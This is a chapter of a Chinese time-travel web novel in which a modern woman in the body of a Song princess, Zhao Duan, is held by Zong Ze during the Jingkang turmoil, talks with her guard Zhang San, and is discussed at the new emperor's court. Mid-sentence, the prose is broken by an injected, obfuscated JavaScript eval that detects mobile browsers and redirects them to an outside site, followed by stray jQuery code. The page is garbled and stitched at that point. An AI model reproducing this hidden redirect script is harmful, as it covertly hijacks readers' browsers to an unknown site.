所以我到底是不是帝姬?
我还能投奔那个康王保平安嘛。
赵端趴在床上,盯着地上破破烂烂的毯子,有点理不清现在的情况。
她和张三被小老头捡回来了。
小老头姓宗字汝霖,也名泽,瞧着出行的排场,应该是个大官。
虽然是有点耳熟的名字,但实在想不起来在哪里听过,许是个历史人物,但赵端理科出身,不记得也正常。
没了长途奔波,饱一顿,饥一顿两顿三顿的苦日子,赵端总算能冷静思考发生在自己身上的破烂事情。
胡思乱想中,她一边对自己的身份越发怀疑,一边又对自己的处境非常惊惧。
因为虽然没有被一锅端,但是好像被控制起来了。
是这个宗泽发现不对,还是单纯想要拿捏她?
“他想要我做什么?”赵端趴在床上,翻了个脸,嘟嘟囔囔着。
事情还要回到醒来那一日。
她刚一睁开眼,等候多时的宗泽一进来就涕泪纵横。
说当年宫廷变故,竟侥幸逃脱,和元祐皇后一般,乃是吉人自有天相,也该承受天命,为稳定朝纲做贡献。
还说自己眉宇间和那个康王有点像,故而前几日一眼就认了出来,不知可有东西需要带给康王。
又说康王不日就准备在应天府登基,按理应该把她送过去同喜,奈何她背后的伤伤得厉害,故而只能安置在军营里,让他先去报喜。
最后说赵氏宗亲如今只剩下寥寥数人,国事凋零,幸还有元祐皇后和康王一起主持大局,只是如今情况危急,各地动乱,主和、主战、主守,动乱不止,大局难以稳定,就连陛下也被裹挟其中,难以决断。
一直装木头的赵端敏锐听出话下的细微含义,扭头看向宗泽。
宗泽端坐在屏风外,影影绰绰的屏风细纱让人看不清他此刻的神色。
——“若是帝姬能劝一劝康王就好了。”
屏风外,宗泽图穷匕见。
赵端盯着那道朦胧的身形发呆。
她隐约察觉到宗泽的意图,大概是这位帝姬对康王还挺重要的,他希望帝姬能站到他身边。所以眼下,把人捏在自己手里也是这个意思。
但他的想法又是什么?
赵端对这个世界的印象只有这十来天的,漫山遍野的尸体,根本无法融入到此刻复杂的政治漩涡中。
她只想平安活下去。
所以,当时的她选择了沉默。
宗泽说完这么多的话,也跟着沉默下来,但他只是坐在外面,无声注视着屏风内的人影,虽看不清神色,却又隐隐能察觉出他悲悯的气息。
没有人再开口,气氛便也跟着低沉下来。
“都是为了大宋啊。”宗泽身边的人按捺不住情绪,打破沉默,口气强硬质问道,“帝姬难道不想保大宋国祚千年嘛。”
赵端被呵斥后立马高度紧张。
出人意料的是,宗泽没有顺着这人的话,强迫赵端写信,在没有等到自己想要的答案,利索站起来说道:“帝姬一路奔波,很是辛苦,还请好好养病,时机到了,下官会送帝姬回去的。”
之后几日,再也没有人来找过赵端,但她也出不去。
赵端装死几天后,像只小蚂蚁一样,努力爬起来社交,逮着人就要叨叨两句,迫切希望能了解现在的情况。
她要先了解宗泽这个人是否可行。
“宗知府是将军吗?”第三日,她就开始端着饭碗,借机和门口的士兵边吃边聊。
士兵一开始也不好意思,但赵端笑容灿烂,几次交谈下来也跟着软了心思。
“宗知府可不是这些莽汉,他可是元祐年间的同进士,那些将军一碰到金军就跑,哪有俺们宗知府厉害。”
“南下有什么意思,俺可是河北人,俺哪里都不去,俺爹俺娘,还有俺媳妇都在这里呢,俺家就在这里呢。”
“公主,我们北人是吃不惯南人饮食的,南方也不好!我们一起留在这里吧!”
赵端大眼睛一闪一闪的,被那人热切注视着,眼神晃动了片刻,随后故作高兴问道:“那宗知府肯定能把金人赶走吧!”
“那肯定啊!!”士兵骄傲挺胸,“等这次从应天府回来,肯定就带领俺们杀得金贼滚回东北去,这样俺就带俺家里人来汴京生活,这里可是东京呢!”
那……宗泽嘴里的康王,至少是不想打仗的。
赵端结合当日的话捋了捋,总算是理出一个不知道有什么用的头绪来。
只是康王的态度是和还是守?
她一脑子官司的坐在床上:“若是和,基本完蛋,要是想要守,打仗也不会少。”
自来就没有不靠战争就能取得的和平。
一味求和,下场就是死无葬身之地。
但守,也不是一味避退的。
想到达成一个动态的平衡,战争同样不可避免。
“真打起来了,我还能躲哪里去?”她吃完两个厚皮大包子,后知后觉,“不对,还是先关心康王那边对我什么态度吧?说起来,张三对康王的态度也很奇怪……哎,我辣么大的张三呢!?”
赵端回过神来,非常担忧之前出言不逊的张三是否还活着。
—— ——
应天府
“如何能确定这就是帝姬?”大宦官康履犹豫说道,“难道这天下还真有能从金贼手里死里逃脱的人不成,据说那次劫营后,金军派了千人来围剿呢。”
“那个宗泽一直想要官家迁往开封,如今故意把人捏在自己手里,分明就是故意的。”另外一个宦官也紧跟着说道。
“宗知府定然是为了江山社稷。” 康履一脸严肃,随后话锋一转,“但难免方法有所不当。”
层层帷幔后的帝王坐在新作的龙椅上,看不清神色,只能看到他捏着折子,来来回回翻看着。
“可若真是二十七妹呢?”年轻的官家低声问道。
—— ——
“所以按理,我行二十七?”在七天后,赵端终于拎着一篮子厚皮大包子看到了多日不见的张三。
——原来我是真帝姬?!
张三点头,随后摇头:“外人只当你是混元道长,并不当你是帝姬。”
赵端哦了一声,悄悄看了一眼张三,悄悄把篮子推到他面前,殷勤劝道:“吃吃,虽然这个包子长得奇奇怪怪的,但还挺好吃的。”
张三对着面前那一篮子包子发呆,片刻之后,喃喃说道:“这是蒸饼。”
赵端和他面面相觑,到嘴边的轱辘话眼疾手快咽了下去,然后哈哈干笑了两声。
张三迷茫看了过来。
“后背那个伤口好像让我脑子坏了。”赵端不笑了,心虚但理直气壮,还贴心指了指自己的脑袋,忧心忡忡,“有点记不住事情。”
这是她苦思冥想三天后才找到的烂借口。
因为这个伤口很奇怪,久不愈合,早已溃烂,按照大夫说的,这人应该活不长才是,但不知是不是受外来赵端的影响,这具身体就一直被吊着一口气,半死不活的。
因为太过离奇,在她前几日胡乱糊弄大夫,大夫都能贴心地给她找出无数理由后,她心思一动,理不直气也壮地揣上这个借口,去找张三套情报了。
张三的视线终于移到她身上,错愕的看着她,随后看向她背后的伤口,目光失神。
“我有点想不起来,我是怎么被当成帝姬抓了?”赵端磨磨唧唧找了个借口,“我只记得当时乱乱的。”
张三垂眸冷笑:“赵桓无耻,搜刮开封良家女子献给金军,后来就连乞丐都不放过,徐秉哲那个狗贼欺你无人庇护,要把你献给金军,用来促成联姻,赵恒竟同意了,你当日病得厉害,可听闻来使与你说的话,便也跟着她离开了。”
赵端歪了歪脑袋:“说了什么话?”
张三看了她一眼。
赵端心虚强调着:“发烧给我脑子烧坏了。”
张三移开视线,低下头,淡淡说道:“不清楚,是当日慕容尚宫来找我们,希望我们救您,我们才知道此事的。”
“那把我送去后,那些金军走了吗?”赵端随口问道。
“偷鸡不成蚀把米,赵恒不仅把自己都搭进去了,所有宗亲也跟着一同北迁了。”张三麻木说道。
赵端迷迷瞪瞪点了点头,靖康之变自来就被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660099|172901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
称为奇耻大辱,但具体如何辱,书上没教,她也并不清楚。
但光是这几日的所见所闻,就足以令她惊惧。
“我一直被养在宫外,我现在要是去找康王,会被赶出去嘛?”她继续问道。
张三嘴角微微抿起,神色木木:“以前康王看过您几次,您每次见了他都很开心,但慕容尚宫说过,您出宫是犯了狗皇帝的忌讳,如今要是康王不在意,自然不会赶您走。”
“我一个小孩,我能犯什么忌讳?”赵端大为不解。
张三果然是法外狂徒:“狗皇帝自称教主道君皇帝,嘴里说着羽化登仙之术,行事却舍不得人间繁华,身边奸臣道士环绕,他的忌讳岂能听。”
“有道理。”赵端认真附和。
“咳咳。”外面传来士兵提醒的咳嗽声。
赵端借着对未来的担忧,问了不少浅显的问题,却又兜兜转转没有深入。
张三对原主的保护非常执拗,万一察觉里面换了个人,搞不好自己的脖子也要断了。
赵端摸了摸自己的小脖子,想起那日的刀锋,不由胆寒。
“他们有亏待你吗?”小蚂蚁赵端果断转移话题。
张三换了一身干净的衣服,也洗了脸,露出稚气的面容。
——还真是不大的年纪。
张三摇头。
“那就好,我今日是闹着来见你的,就怕他们把你抛尸了。”赵端叉手,一本正经说道。
张三脸色麻木,不甚在意:“那便死了就是。”
“那不行。”赵端义正言辞,“活着比天大呢。”
张三猛地抬头,错愕地看着她。
赵端被吓了一跳:“看我做什么?”
张三露出怪异的哭笑表情来:“当年您救我们三兄弟时,也是这么说的。”
赵端语塞,有这么一瞬间,她察觉到张三无法抑制的痛苦。
两人再一次沉默对坐着,有一瞬间赵端只觉得荒谬和畏惧,原主死了,现在的她是个冒牌货,可当张三这么悲戚看她时,那么一瞬间,她似乎察觉到张三透过自己的眼睛去看那个已然不复存在的灵魂。
幸好不知是谁家小孩在尖叫,打破了这个难捱的气氛。
“那,那就好好活着吧。”赵端抛下这句话,落荒而逃。
她在那一瞬间不知道如何面对一腔赤忱的张三,却又同样无法轻易放弃自己的性命。
——原主死了,但我不想死。
她茫然站在帐外许久,看着巡逻的士兵,感受着刺眼的日光落在身上,却感觉不到丝毫的温暖。
若是能南下,也未必不好?
她胆怯地想着。
—— ——
“也不知帝姬到底什么情况。”台阶上,最是靠近官家的康履忧心忡忡,“宗知府就受了伤一句话概括了,严不严重?身边可有人照顾?这些种种都没说,听得真是令人担忧啊。”
隐约能看到幕后的帝王连连点头:“她素来娇气,何曾流过一滴血,这一路定然辛苦。”
“宗知府如今也是统领一方的人物了,强兵悍将,都是极好的人,可这样的人如何能照顾好帝姬,也该送过来才是,真是粗人啊。”康履又担忧说道。
官家坐在椅子上没有动弹,也没有开口说话。
“帝姬迟迟不归,官家心中自然惦记,想来帝姬也是如此,一心想念九哥,谁不知,帝姬秉性最是柔弱。”康履继续满脸揪心,“万一有人在她面前胡言乱语,可不是要惊吓到帝姬。”
官家握紧手中的折子。
“早些回到官家身边才是。”康履柔声说道。
官家的声音有些低沉:“你认为要如何?”
“前几日有不少宫内的人投奔过来,其中就有一个小内侍原是一直伺候帝姬的,不知官家是否还有点印象,当日帝姬受难,他也跟着在外流离了许久,听闻陛下登基,千里迢迢赶到这里。”康履诚恳说道。
“不若让他过去继续伺候帝姬,一来,也好看看有没有人苛待帝姬,二来,也该早点带帝姬南下。”他眼神闪动看向官家,神色犹豫。
“只要别让您为难,便是帝姬所想,万民所求啊。”